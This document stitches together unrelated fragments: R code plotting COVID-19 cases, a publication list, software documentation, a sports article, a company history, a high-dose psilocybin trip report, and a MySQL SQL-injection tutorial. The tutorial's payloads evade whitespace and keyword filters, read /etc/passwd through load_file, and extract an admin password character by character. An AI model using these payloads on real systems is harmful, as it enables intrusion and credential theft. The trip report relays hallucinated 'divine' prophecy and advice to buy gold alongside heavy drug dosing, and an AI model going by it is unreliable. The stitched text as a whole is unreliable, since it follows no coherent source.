fit_data <- filter(all_fit, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
predict_data <- filter(all_predicted, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
doubling_t_data <- filter(doubling_times, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
facet_labels <- doubling_t_data %>%
arrange(desc(t)) %>%
mutate(label = paste0(Region," doubling time (95% CL): ", label)) %>%
pull(label)
names(facet_labels) <- doubling_t_data %>%
arrange(desc(t)) %>%
pull(Region)
ggplot(data = point_data,
mapping = aes(x = day20)) +
geom_point(mapping = aes(y = arpc, color = Region)) +
facet_wrap(~Region, dir="v", labeller = labeller(Region = facet_labels)) +
scale_y_log10() +
theme(legend.position = "none",
legend.title = element_blank()) +
geom_line(data = fit_data,
mapping = aes(y = fitpc, color = Region),
size = 1.25) +
geom_ribbon(data = fit_data,
mapping = aes(ymin = lclpc, ymax = uclpc),
alpha = 0.2) +
geom_line(data = predict_data,
mapping = aes(y = fitpc, color = Region),
linetype = 2) +
geom_ribbon(data = predict_data,
mapping = aes(ymin = lplpc, ymax = uplpc),
alpha = 0.2) +
geom_rect(data = state_data,
mapping = aes(x = start_day, xmin = start_day, xmax = end_day, ymin = icu_beds, ymax = icu_beds * 20),
fill = "red", alpha = 0.2) +
labs(y = "Active cases per 100,000 population", title = "Active cases by days since 20th case",
x = "Days since 20th case",
subtitle = "Solid line: exponential model; Dashed line: forecast cases with 95% prediction intervals.",
caption = paste("Source data: https://github.com/CSSEGISandData/COVID-19 downloaded ",
format(file.mtime(savefilename), usetz = TRUE),
"\n Unofficial, not peer reviewed results.",
"\n Copyright Andrew Tyre 2020. Distributed with MIT License.")) +
geom_text(data = slice(state_data, 5),
mapping = aes(y = icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "bottom") +
geom_text(data = slice(state_data, 5),
mapping = aes(y = 20*icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# 20 times ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "top")
OK, so that’s interesting. Washington now clearly showing that they are #flatteningthecurve. It’s clear why New York is hurting so bad; cases grew faster than the initial exponential rate, and they are now deep into the red zone. Louisiana and New Jersey are heading that way too.
Finally, lets make a few specific states for people who are watching from home.
states_2_plot <- c("Colorado", "Virginia", "Minnesota")
state_data <- filter(usa_data, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
point_data <- filter(usa_by_region, day20>=0,
Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
fit_data <- filter(all_fit, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
predict_data <- filter(all_predicted, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
doubling_t_data <- filter(doubling_times, Region %in% states_2_plot) %>%
mutate(Region = factor(Region, levels = states_2_plot)) # control plot order
facet_labels <- doubling_t_data %>%
arrange(desc(t)) %>%
mutate(label = paste0(Region," : ", label)) %>%
pull(label)
names(facet_labels) <- doubling_t_data %>%
arrange(desc(t)) %>%
pull(Region)
ggplot(data = point_data,
mapping = aes(x = day20)) +
geom_point(mapping = aes(y = arpc, color = Region)) +
facet_wrap(~Region, dir="h", labeller = labeller(Region = facet_labels)) +
scale_y_log10() +
theme(legend.position = "none",
legend.title = element_blank()) +
geom_line(data = fit_data,
mapping = aes(y = fitpc, color = Region),
size = 1.25) +
geom_ribbon(data = fit_data,
mapping = aes(ymin = lclpc, ymax = uclpc),
alpha = 0.2) +
geom_line(data = predict_data,
mapping = aes(y = fitpc, color = Region),
linetype = 2) +
geom_ribbon(data = predict_data,
mapping = aes(ymin = lplpc, ymax = uplpc),
alpha = 0.2) +
geom_rect(data = state_data,
mapping = aes(x = start_day, xmin = start_day, xmax = end_day, ymin = icu_beds, ymax = icu_beds * 20),
fill = "red", alpha = 0.2) +
labs(y = "Active cases per 100,000 population", title = "Active cases by days since 20th case",
x = "Days since 20th case",
subtitle = "Solid line: exponential model; Dashed line: forecast cases with 95% prediction intervals.",
caption = paste("Source data: https://github.com/CSSEGISandData/COVID-19 downloaded ",
format(file.mtime(savefilename), usetz = TRUE),
"\n Unofficial, not peer reviewed results.",
"\n Copyright Andrew Tyre 2020. Distributed with MIT License.")) +
geom_text(data = slice(state_data, 5),
mapping = aes(y = icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "bottom") +
geom_text(data = slice(state_data, 5),
mapping = aes(y = 20*icu_beds),
x = 0, #ymd("2020-03-01"),
label = "# 20 times ICU beds / 100K",
size = 2.5, hjust = "left", vjust = "top")
South Dakota is the one state without sufficient data. All three of these states are showing exponential growth. Only Colorado is getting close to the red zone.


Publications
- “Compensation Growth and Slack in the Current Economic
Environment,”
with Richard Peach and Robert Rich.
Liberty Street Economics Blog, November 19, 2012.
- “The Effect of Superstorm Sandy on the
Macroeconomy,”
with Richard Peach and Sarah Stein.
Liberty Street Economics Blog, April 22, 2013.
- “Drilling Down into Core Inflation: Goods versus
Services,”
with Richard Peach and Robert Rich.
Liberty Street Economics Blog, June 5, 2013.
- “The Parts Are More Than the Whole: Separating Goods and Services to
Predict Core
Inflation,”
with Richard Peach and Robert Rich.
Current Issues in Economics and Finance, 19.17 (2013).
- “The FRBNY DSGE
Model,”
with Marco Del Negro, Stefano Eusepi, Marc Giannoni, Argia Sbordone, Andrea
Tambalotti, Matthew Cocci and Raiden Hasegawa.
Staff Reports, Federal Reserve Bank of New York, No. 647, 2013.
- “The Long and Short of It: The Impact of Unemployment Duration on
Compensation Growth,”
with Richard Peach and Robert Rich.
Liberty Street Economics Blog, February 12, 2014.


Model Inference with Hidden Variables¶
Introduction¶
This work was motivated by the fact that real-world data often contains only subsets of variables. Hidden variables can influence the observed ones. Ignoring hidden variables in network inference may lead to poor prediction results. Our ultimate goal was to develop a data-driven method that can use the configurations of observed variables to infer the interactions (observed-to-observed, hidden-to-observed, observed-to-hidden, and hidden-to-hidden), the configuration of hidden variables, and the number of hidden variables.
The Jupyter notebook presents the core idea of our method and an example with simulated data. The application to analyzing experimental data such as recordings of neuronal activity and the stock market are shown in our paper.
Interactive notebook¶
Use Binder to run our code online. You are welcome to change the parameters and edit the jupyter notebooks as you want.
Links¶
- Code Documentation
- https://nihcompmed.github.io/hidden-variable
- Code Source
- https://github.com/nihcompmed/hidden-variable
Reference¶
Danh-Tai Hoang, Junghyo Jo and Vipul Periwal, “Data-driven inference of hidden nodes in networks” arXiv:1901.04122.


“The object of living is work, experience, happiness.” -Henry Ford
Below is an example of a job history list that you would find on a typical portfolio site.
----------------------------
| Date | History | |
| 2019 - Current | COMPANY A |
|
| Roll back strategy. Ramp up we need to harvest synergy effects define the underlying principles that drive decisions and strategy for your design language and pivot i have a hard stop in an hour and half. Shoot me an email that's mint, well done for touch base, for deploy to production and back to the drawing-board please use "solutionise" instead of solution ideas! | ||
| 2017 - 2019 | COMPANY B |
|
| Feature creep a better understanding of usage can aid in prioritizing future efforts but going forward, for create spaces to explore what’s next tribal knowledge we should leverage existing asserts that ladder up to the message yet we need to touch base off-line before we fire the new ux experience. | ||
| 2015 - 2017 | COMPANY C |
|
| Quick win. Cloud strategy focus on the customer journey in an ideal world can you ballpark the cost per unit for me, and cloud strategy yet we need to leverage our synergies. |


@Messages("app.title")
@* JS Resources *@
@* utility JS libs for formatting *@
@* Angular libs *@
@* if we provide the jvm option -DtsCompileMode=stage to our sbt task our typescript app is compiled
to one JS file including the ES6 libraries that our app depends on *@
@content
@views.html.footer()


class Builder
Used to construct a Purchases object
context
- Application context that will be used to communicate with Google
apiKey
- RevenueCat apiKey. Make sure you follow the quickstart
guide to setup your RevenueCat account.
Builder(context: Context, apiKey: String)
Used to construct a Purchases object |
fun appUserID(appUserID: String): Builder
Used to set a user identifier. Check out this guide |
|
fun build(): Purchases
Used to build the Purchases instance |
|
fun networkExecutorService(service: ExecutorService): Builder
Used to set a network executor service for this Purchases instance |


WOMBAT
`Prev `__
W
`Next `__
--------------
**WOMBAT**: /wom´bat/, adj.
[acronym: Waste Of Money, Brains, And Time] Applied to problems which
are both profoundly `*uninteresting* <../U/uninteresting.html>`__ in
themselves and unlikely to benefit anyone interesting even if solved.
Often used in fanciful constructions such as wrestling with a wombat.
See also `*crawling horror* <../C/crawling-horror.html>`__,
`*SMOP* <../S/SMOP.html>`__. Also note the rather different usage as a
metasyntactic variable in `*Commonwealth
Hackish* <../C/Commonwealth-Hackish.html>`__.
Users of the `*PDP-11* <../P/PDP-11.html>`__ database program DATATRIEVE
adopted the wombat as their notional mascot; the program's help file
responded to “HELP WOMBAT” with factual information about Real World
wombats.
--------------
+-----------------------------+----------------------------+---------------------------+
| `Prev `__ | `Up <../W.html>`__ | `Next `__ |
+-----------------------------+----------------------------+---------------------------+
| womb box | `Home <../index.html>`__ | womble |
+-----------------------------+----------------------------+---------------------------+


QuantConnect hosts sentiment analysis data provided by PsychSignal. This data is generated from an interpretation of the Twitter and StockTwits community messages. When a user tags a ticker in a tweet, PsychSignal reads the message and assigns it a weighting. Each minute PsychSignal builds a summary of the data and records it to their API.
The $[PsychSignalSentiment, T:QuantConnect.Data.Custom.PsychSignal.PsychSignalSentiment] object has 7 key pieces of information you can use:
class PsychSignalSentiment: self.BullIntensity; # Bullish intensity (float) self.BearIntensity; # Bearish intensity (float) self.BullMinusBear; # Bullish intensity minus bearish intensity (float) self.BullScoredMessages; # Bullish messages in a minute (int) self.BearScoredMessages; # Bearish messages in a minute (int) self.BullBearMessageRatio; # Bull/bear message ratio (float) self.TotalScoredMessages; # All messages scanned (int)
class PsychSignalSentiment { decimal BullIntensity; // Bullish intensity decimal BearIntensity; // Bearish intensity decimal BullMinusBear; // Bullish intensity minus bearish intensity int BullScoredMessages; // Bullish messages in a minute int BearScoredMessages; // Bearish messages in a minute decimal BullBearMessageRatio; // Bull/bear message ratio int TotalScoredMessages; // All messages scanned }
| Property | Possible Values |
|---|---|
BullIntensity | 0 to +4.0 |
BearIntensity | 0 to +4.0 |
BullMinusBear | -4.0 to +4.0 |
BullScoredMessages | 0 to Infinity |
BearScoredMessages | 0 to Infinity |
BullBearMessageRatio | 0 to Infinity |
TotalScoredMessages | 0 to Infinity |


Homepage: Github
A variable to store the blog configuration and plugin settings.
Adds an INJECTION to a given LOCATION for rendering. The INJECTION should be a string which will always be added or a (string . lambda). In the latter case, the lambda takes a single argument, a content object, i.e. a POST or INDEX, and any return value other than nil indicates the injection should be added.
Load all content of the given CONTENT-TYPE from disk.
Load the user's config section corresponding to CONFIG-KEY, then compile and deploy the blog.
The path to store OBJECT at once rendered.
Render the content at PATH under user's configured repo and save it to ~/tmp.html. Load the user's config and theme if necessary.
Write pages to disk for all content of the given CONTENT-TYPE.
Returns a plist of metadata from FILE with :text holding the content as a string.
Render the given OBJECT to HTML.
Compile TEXT from the given FORMAT to HTML for display.


Mushrooms - P. cubensis
It had been about 3 days since my
5-gram experience. It was such an astonishing event in my life that I couldnít wait longer than 3 days to do more. The experience was all that I could think or talk about for the 3 days. This time I took an extra gram. :O I took my vitamins and ate my salad this time as well.
I ate exactly 6 dried grams at about 8:30 or 9 PM. I ate a generous bite of banana nut bread, chewed it and put as many shrooms in my mouth as I could, until I tasted shrooms, just like the 5g dose 3 days earlier. Knowing I had a while before they kicked in, I took my shower and prepared for bed as usual. I filled 2x 1.5 liter aquafina bottles with water, remembering my splitting dehydration headache last time, and set them in bed with me. I turned off my fan, stereo and even my computer, grabbed a notepad and climbed into bed. I did not want even the slightest hum to interfere with my trip, taking Terence McKenna's advice again, which went extremely well last time, of engaging in a high-dose trip in the dark of your own room in your own house where you feel comfortable and will not be disturbed. About 1 hour and 15 mins later my trip started in, same times as part 1 so far.
It started out with the same high frequency energy like last time. Yes, the energy is definitely the energy that flows through the universe. I was sooo relaxed, and breathing softly. I felt like my body was small compared to my head, I felt like pure energy and mind swimming through a universe of multi-creature consciousness.
My big head and small body was floating through some sort of earthly consciousness, the immediate consciousness of all mammals on shrooms. I floated by a cow, who looked as if she too had a small body large mind. The cow and I could communicate, much the same way that I communicated last trip, but on a much smaller level. The friendly cow greeted me with a 'hello' (in thought of course), I, with a happy/excited emotion, said to the cow 'How's the weather in your parts?' The cow then telepathically showed me a big green meadow in full sun, very beautiful weather. The cow expected a reply as if asking me about my weather. I replied 'Dark here, but warm,' and I continued to float past. The next entity that I came across, I call it an entity because I am not for sure on exactly what it was, was a wild boar or similar looking creature. He then gave me some friendly and good advice.
 Out of all things to turn it to he turns it to cartoons. 'Boingy, boingy, boingy,' I hear that cartoon bouncing noise. At the same time I was hearing the boingy noises, it was doing something to me, like my subconscious was now conscious and I felt the full effect of the sound (there are lots of subliminal sounds on cartoons, its a marketing technique). I saw cartoon looking entities bouncing all over the place! There were like 8 of them. The cartoon sounds were extremely obnoxious and interfering with my trip. This went on for about 10 minutes, and then it stopped. Finally! He turned off the cartoons and went to bed!
It wasnít long, about 10 more minutes and my floating through 'local,' by local I mean earthly, hyperspace stopped. Wherever I was, was dwarfed by something so huge I would question whether or not it could dwarf the entire universe. This 'thing' I cannot describe, you would have to see for yourself. I can only call it 'God' or 'Lord' to describe the 'ultimate ness' and 'intensity' of this 'thing.'
At T + 2 hours, approximately, I got up, drank a few mouthfuls of water, used the restroom and got my notepad out. The first thing on my notepad I wrote was, 'a high frequency energy flows through my mind.' I have always loved prophecy, and will find and read whatever knowledge I can about future events. I will listen to anything anyone has to say regarding the important future; especially future that involves any major crisis. This 'Lord' as I call It, was speaking to me. I could feel it like nothing Iíve ever felt before. I was conversing with some type of advanced alien civilization. Conversing in a language that has the power to transcend time and space.
I again, just like last time asked, 'what else is to come?' The 'Lord' let me have it this time; He could send me information mush faster than I could write. He is very patient though, he says 'there is no room in life for ignorance' and if I didnít understand something he would keep explaining and keep explaining until I understood. He would rather me understand, than just say I understand and move on. I got to thinking about money. He said, 'you do not really NEED moneyĒ I then argued that the entire world is based on money, and money was required to eat and live. I inquired about the one world currency, predicted in the end of days, and how it would be implemented since how there are so many currencies.
This is what I wrote (these answers were coming from 'Lord'):
'Any implementation of a new currency would not be because of an immediate takeover by another power, as we would imagine. It would be, and is, a very gradual process. A process doomed to man because of bad leadership and the human failure of not foreseeing what is obvious. The implementation of a new currency would be a crisis-based decision. He and I then both agreed that gold is the universal currency, and that buying some gold to ensure that necessities can be bought in time of a major crisis would be a wise decision.
Again, like last time I could speak in tongues. When I spoke in these tongues it was a fast almost gibberish sounding made by the rapid tongue movement. When done quietly I could speak with tongues on the in breath. I called it round breath, as in round trip, both ways. Under tongue also fits it nicely. This highly evolved language is used to communicate with 'Lord' besides when he prophesizes, when I am making friendly conversation with Him.
'Lord' was actively, or in real time, destroying bad thoughts and fears as they emerged. Well the fears are the anxiety with social situations that I normally feel. It would quickly and with ease destroy my fears from the root of my consciousness (to the best of my explanation). It was like a psychological subconscious reconstruction, or remodeling of the interior is a good way to put it.
Then I remembered about this alien invasion and asked 'can you elaborate on the alien invasion you showed me the other night?' He gladly explained:
'The alien invasion is the mushroom,' He goes on, 'I invade to you and with you. I am more invasive than any other biological organism or weed. I am consciously invasive. I invade your consciousness. I invade what humans call reality and am very open about it. I am good; I do not come to harm you, but to evolve you. I am evolution. When we talk we talk in thought. You, as a species, are stuck without me. You face the ultimate, extinction.  I am here. I am your consciousness. You can choose to speak to me or you can choose not.  That is verbatim.
This is the best part! It was the peak of my trip. I turned the page and started a new one, He had something very important to tell me and it was going to take some space. Here is what He said (verbatim):
I contact you through vibrational energy. This is how I speak. The more mushrooms an organism eats the louder I get, the friendlier I become, to a point obviously.
I asked, 'do you breed?'
He replied, 'yes, I do breed, this is life in itself'
He goes on, 'I am invading you weather you like it or not so we might as well become friends. I am indeed what many consider to be 'God.'
[I had to use the restroom, because I was drinking water and just wrote this down to show His friendliness]
I said, 'sorry, hold on I have to pee'
Lord says humorously 'Go ahead and pee, Iím not going anywhere'
He goes on: 'I take you through a process of 'ego defeat,' [which I talked about towards the beginning] or ignorance defeat. This is essential to your survival [as a species is implied]. You [as a species] cannot abandon me in this period of evolution.   Do not fight each other. Work together. This is the world power [I'm unsure on what that means]. The people who you call government deceive you. Biology is each organism for himself, I control you, do not control each other!
I am what is, what was and what will ever be... Yes I am indeed 'God' as you call me, you can call me what you like. I am who I am. The message I try so desperately to relay is that I mean no harm.  Evil wants death, destruction and power. Money is a plaque.
I got a little skeptical and asked, 'how do I know you are who you say you are? You could just be an alien trying to take us over.'
His reply, 'How could something so friendly be bad? I want you as a species to survive. I want peace and life.
 YOU WILL DESTORY YOUSELVES!'
'You just sit back and let me do the thinking. YOU HAVE BEEN WARNED!'
Then in a complete change of tone He says 'Until next time my friend :-) [If I could see Him I know he would be smiling at this point], over and out!'
BAM! Just like that, the vibrational energy that I felt that flowed through me stopped. The peak of my trip was over. I lay in bed for about 2 hours after the approximate 6-hour trip just thinking about what was said. (Wouldnít you?)
He explained in great detail for a while about the invasion. 'I am invasive, just as any biologically successful organism is.' I was told, 'the alien invasion is not through our atmosphere with material and space ships as would be imagined. This invasion, a very successful one, is through the 'biolution' or biological evolution.' This is what is implied when He spoke:
ALIEN: Term used to describe 'God,' 'Other,' 'Lord,' 'Universal Energy,' NOT a short green goblin as one would imagine. Not so alien after all, this alien is you!
INVASION: Terminology used to describe the biological evolutionary success of this alien interfusing itself with the human species.
So basically, what we are thinking of as aliens are just highly evolved humans. They can somehow speak across time and space, and in a mushroom trip we can too. If you look at the world, He is right, we will destroy ourselves. The creature that ingests psilocybin seems to be reconstructed into the image of this 'Other.' That IS evolution, in human's case anyway.
This was an experience of a lifetime.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Brand Introduction
Ta Horng Wood Enterprise&Musical Instrument Co,.Ltd.founded in A.D.1974,the company launched Taiwan's first homemade electronic organ in the"PLUMBLOSSOM"for the brand which became best-selling and popular with people in nationwide in A.D.1977.
Midiplus is a proprietary brand of Ta Horng Wood Enterprise Musical Instrument Co,.Ltd. which devoted to MIDI related products R&D ,production series of MIDI master keyboard export to Europe and the United States has won people's approbation. Many world famous brands are OEM the company's independently R&D MIDI keyboard instrument, marketing all over the world and create sales success.
Brand History
- 1974: Taiwan Ta Horng Wood Enterprise&Musical Instrument Co,.Ltd. Which has been focused on keyboard for 40 years was established. The parent company of Midiplus came out.
- 1977: In 1977 the company launched Taiwan first home-made electronic organ to "plum blossom" for the brand, marketing all over the country popular of people certainly.
- 1994: The newly founded company-TERRATEC "cooperated with MIDIPLUS parent compay Ta Horng Wood Enterprise&Musical Instrument company which had 20 years production history of keyboard" the world's first MIDI keyboard was born. At that time MIDIPLUS as a model of the MIDI keyboard showed in front of the world.
- 1996: MIDI Keyboard Popular Around The World Attracted MIDIMAN Company's Attention. Through the cooperation with TERRATEC,TaHorng wood enterprise developed small portable minikey keys of MIDI keyboard, once launched immediately popular all over the world,the annual sales reached 200000 units,The influence of Ta Horng wood enterprise in the international industry market had a big increase, attracted the attention of American MIDIMAN company, at that time the MIDIPLUS is still used as a a series of models of Ta Horng Wood Enterprise&Musical Instrument company.
- 1998: Collaboration With MIDIMAN Company,MIDI Keyboard Became Best-selling In Worldwide In"M-Audio"For Brand. The founder of MIDIMAN company Tim Ryan visited Li Yinghong of Ta Horng wood enterprise with MIDI turn USB core driver technology, fit in easily with each other the new MIDI keyboard sold well in worldwide in "M-Audio" for the brand, and taking MIDIPLUS as the model is official curtain call.The first generation M-Audio MIDI keyboard Radium series once launched immediately caused global snap up,M-audio brand won a reputation,at the time of the Taiwanese musician circle almost everyone has a piece,pop star Lee Hom also had represented for the keyboard.
- 2005: M-audio Company Was Acquired By American AVID Company. The industry leading enterprises America AVID company announced the $80000000 cash acquisition of M-audio company,acquisition of adjustment.
- 2006: MIDIPLUS Became Ta Horng Wood Enterprise&Musical Instrument Company.Independent Brand. The MIDIPLUS which had been as series models and has the curtain call, becoming Ta Horng Wood Enterprise& Musical Instrument company'sindependentbrand,appearng in front of the world in a new look and launched ORIGIN series which based on the former Radium series had won the excellent price wumart reputation.
- 2007: MIDIPLUS Professional Audio Available. Horizontal R&D related products,professional audio card available.
- 2009: The New Product Of MIDIPLUS Available. The 490 series MIDI keyboard listed.
- 2011: MIDIPLUS(China) Lauched Out New Product In Its Establishment Period. MIDIPLUS(China) was established, The company fully expand R&D team,continuous technical innovation and breakthroughs,then launched a series of innovative products.
Product and service
40 years has been taking independent R & D, product maintenance, even more than 10 years of product as long as the parts or repair the happy customer service responsibilities.


Functions and datasets for Jeff Gill: "Bayesian Methods: A Social and Behavioral Sciences Approach". First, Second, and Third Edition. Published by Chapman and Hall/CRC (2002, 2007, 2014).
| Version: | 1.0.1 |
| Depends: | R (≥ 3.0.1) |
| Imports: | coda, dlm, MASS, mice, nnet |
| Published: | 2016-05-18 |
| Author: | Jonathan Homola, Danielle Korman, Jacob Metz, Miguel Pereira, Mauricio Vela, and Jeff Gill |
| Maintainer: | Jeff Gill <jgill at wustl.edu> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| In views: | Bayesian |
| CRAN checks: | BaM results |
| Reference manual: | BaM.pdf |
| Package source: | BaM_1.0.1.tar.gz |
| Windows binaries: | r-devel: BaM_1.0.1.zip, r-release: BaM_1.0.1.zip, r-oldrel: BaM_1.0.1.zip |
| OS X binaries: | r-release: BaM_1.0.1.tgz, r-oldrel: BaM_1.0.1.tgz |
| Old sources: | BaM archive |
Please use the canonical form https://CRAN.R-project.org/package=BaM to link to this page.


Follow the instructions in the README.md file to turn the treemap below into a circle-pack layout.
README.md


Marvelous Nakamba comments on Aston Villa teammate Douglas Luiz
by Tom ProcterAston Villa midfielder Marvelous Nakamba has revealed he doesn’t get surprised by Douglas Luiz’s eye for a cracking goal – because he always scores them in training.
The Brazilian has found the net twice for Villa since his summer move from Manchester City and both strikes – first against Bournemouth and then against Norwich City – have been crackers from distance.
His capability from range now frequently draws cries of ‘shoot!’ from the crowd when he picks the ball up in space.
The star’s ability wows supporters on a weekend, but Nakamba has grown used to see him impress in training.
Speaking to the club’s official website, he said: “He scores really really fantastic goals. Now it’s normal because sometimes even in training he always scores those fantastic goals.
“He’s a really, really good player and also a good guy with good character.”
TBR’s view – Villa’s secret weapon
Luiz’s superb ball-striking from distance is a real weapon for Villa.
Sometimes when opponents sit in it can be hard to break them down with passing.
So the fact that Luiz possesses such a powerful shot is good for the team in that, they can pass it to him to try his luck if they are struggling to create chances.
Have something to tell us about this article?
Let us know


Alternative whitespaces
Caught by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)
Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#
Instead of a quoted string we can use the SQL hex representation of the found table name:
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
Basic keywords filtered
Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:
Without 'where':
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#
Alternate:
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#
Lets assume your database name is “test” which hex representation is “0x74657374”. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#
Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#
We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#
Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.
advanced keyword filtering
Now its getting difficult. The filter also checks for all keywords previously needed:
If we have the FILE privilege we can use load_file() But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))
This will return the length of the file content or – if the file could not be read – a “1” and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)
(while $char is the character in sql hex which is compared to the current character of the file at offset $x)
We bypassed the filter but it requires the FILE privilege.
Better advanced keyword filtering
We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)
This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’:
?id=1&&mid(pass,1,1)=(0x61);%00
We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:
?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00
Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:
?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00
The first attempt could be:
?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.
Even more frustrating keyword filtering
The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00
The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators? After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’
?id=if((name)like(0x61646D696E),1,0);%00
This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:
?id=if((name)like(0x61646D696E),id,0);%00
Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:
?id=
if(
// if (it gets true if the name='admin')
if((name)like(0x61646D696E),1,0),
// then (if first password char='a' return admin id, else 0)
if(mid((password),1,1)like(0x61),id,0),
// else (return 0)
0
);%00
Injection in one line:
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00
Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.
Syntax and 'true' statements
First of all there are hundreds of possibilities to return a true statement in order to bypass logins or to return the full table content on select queries. Besides the simple ‘ OR ‘1’=’1 trick you can also compare the input directly. The shortest one would be ‘=’.
You can also use functions(md5(0)>1), column names (column!=0), user vars (e.g. @var!=1), system vars(e.g. @@version>4) combined with all kinds of whitespaces, operators, prefixes and brackets.
$prefixes = array(“”, “+”, “-“, “~”, “!”, “@”, ” “);
$operators = array(“^”, “=”, “!=”, “%”, “/”, “*”, “&”, “&&”, “|”, “||”, “<“, “>”, “>>”, “<<“, “>=”, “<=”, “<>”, “<=>”, ” XOR “, ” DIV “, ” LIKE “, ” RLIKE “, ” SOUNDS LIKE “, ” REGEXP “);
$whitespaces = array(“%20”, “%09”, “%0a”, “%0b”, “%0c”, “%0d”, “%a0”);
$comments = array("/*","#","%23","--");
Note that you can use prefixes and whitespaces as often as you want, so ‘ OR- +-1=- + – ( + 1 ) /* works as well.
Also consider that some prefixes affect their follower. This shows the following table:
Note that ~ inverts bits and you can also use @ as prefix, which will return into a user variable with the value null.
You can also do alot with statics like null, for example 1′ is not null /* or, to avoid comment types, 1′ is not null – ‘ (MySQL<=4). Instead of null you can also use \N (case sensitive). Or you can use true and false, for example ‘or true#. In WHERE clauses you can also use not, like ‘or not’.
As comment types you can use all three known on MySQL: /*, # (%23), --. However make sure that you will write at least one space behind --, like -- aa, otherwise your query will fail.


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{% extends "error.html" %} {% load i18n %} {% load eventurl %} {% block content %} {% if cart_namespace %}
